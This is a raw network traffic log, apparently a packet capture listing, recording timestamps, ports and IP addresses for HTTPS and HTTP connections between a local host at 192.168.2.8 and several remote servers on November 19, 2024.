Nov 19, 2024 18:00:44.396907091 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.397334099 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.397351980 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.398484945 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.398658037 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.399970055 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.400053024 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.400127888 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.400150061 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.404613972 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.424989939 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425003052 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425029993 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425045013 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425066948 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425070047 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.425075054 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425112009 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.425137043 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.425441027 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425448895 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425499916 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.425522089 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425542116 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.425590038 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.426122904 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.426151037 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.438718081 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.438754082 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.438796997 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.438810110 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.438843012 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.438941956 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.438961029 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.438998938 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.439003944 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.439024925 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.440293074 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.440319061 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.440380096 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.440387011 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.440416098 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.442307949 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.442328930 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.442374945 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.442380905 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.442413092 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.442804098 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.442847967 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.442871094 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.442893028 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.442904949 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.443124056 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.443180084 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.443195105 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.443212032 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.443242073 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.443475962 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.443501949 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.443536043 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.443542004 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.443564892 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445286036 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445307970 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445343971 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445348978 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445389032 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445394039 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445434093 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445543051 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445566893 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445624113 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445630074 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.445653915 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445672989 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.445769072 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.445833921 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.445861101 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.445902109 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.445959091 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.445967913 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.446135044 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.446157932 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.446190119 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.446194887 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.446218967 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.446240902 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.446244955 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.448184967 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.448231936 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.448246956 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.448280096 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.448302984 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.449193001 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.449230909 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.449249983 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.449276924 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.449300051 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.450364113 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.450408936 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.450438976 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.450593948 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.450639963 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.450792074 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.450810909 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.469966888 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.469984055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.470074892 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.470216990 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.503002882 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.503017902 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.503123045 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.503175020 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.503175020 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.503598928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503613949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503626108 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503664017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.503698111 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.503732920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503745079 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503757954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503768921 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.503791094 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.503827095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.503879070 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504107952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504120111 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504132986 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504160881 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504180908 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504380941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504393101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504405975 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504436970 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504462004 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504628897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504642010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504653931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504686117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504686117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504698038 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.504707098 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504730940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.504745960 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.505100012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505141020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505152941 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505203962 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.505225897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505239964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505245924 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505254030 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505259991 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.505306005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.505333900 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.506027937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506077051 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506092072 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506130934 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.506165981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506169081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.506179094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506191969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506202936 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506215096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.506223917 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.506273985 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.506927967 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507040024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507071018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507083893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507100105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507111073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507122993 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507127047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507136106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507141113 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507148981 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507167101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507198095 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507875919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507889032 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507900953 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507913113 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.507920027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507941008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.507956982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.517972946 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:44.517988920 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:44.525347948 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525418043 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525430918 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.525459051 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525491953 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.525670052 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525712013 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525731087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.525743961 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.525784969 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.526576042 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.526622057 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.526664019 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.526673079 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.526700974 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.528753996 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.528795004 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.528831005 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.528837919 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.528872013 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.529860973 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.529910088 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.529933929 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.529941082 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.529978037 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.530000925 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.530663967 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.531131983 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.531189919 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.531667948 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.531709909 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.531739950 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.531745911 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.531770945 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.532176971 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.532231092 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.532238007 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.532264948 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.532299042 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.532325029 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.532382011 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.545361996 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.560444117 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.560470104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.560520887 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.608930111 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.608999968 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.609030008 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.609054089 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.609071016 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.611594915 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.611644983 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.611671925 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.611677885 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.611706018 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.612556934 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.612596989 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.612622976 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.612628937 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.612657070 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.613922119 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.613969088 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.613986015 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.614001989 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.614026070 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.615334988 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.615376949 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.615396976 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.615411043 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.615443945 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.617522955 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.617597103 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.617599010 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.617640018 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.617675066 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.617924929 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.617966890 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.617990017 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.617999077 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.618021011 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.618411064 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.618458986 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.618477106 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.618484974 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.618527889 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.618581057 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.618634939 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.628705025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628722906 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628752947 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628763914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628779888 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628796101 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628807068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628812075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628839016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628842115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628863096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628875017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628906012 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628920078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628931999 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628942966 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.628950119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.628978968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629225969 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629267931 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629277945 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629280090 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629287958 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629311085 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629323959 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629336119 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629344940 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629456997 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629563093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629612923 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629616022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629630089 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629642963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629664898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629676104 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629820108 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629833937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629846096 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629858971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629870892 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.629872084 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629899979 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.629909992 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630131960 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630145073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630161047 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630179882 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630188942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630212069 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630369902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630383015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630405903 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630424976 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630429983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630436897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630449057 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630455017 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630455971 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630481005 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630495071 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.630500078 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630515099 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.630527020 CET	80	49761	185.215.113.206	192.168.2.8
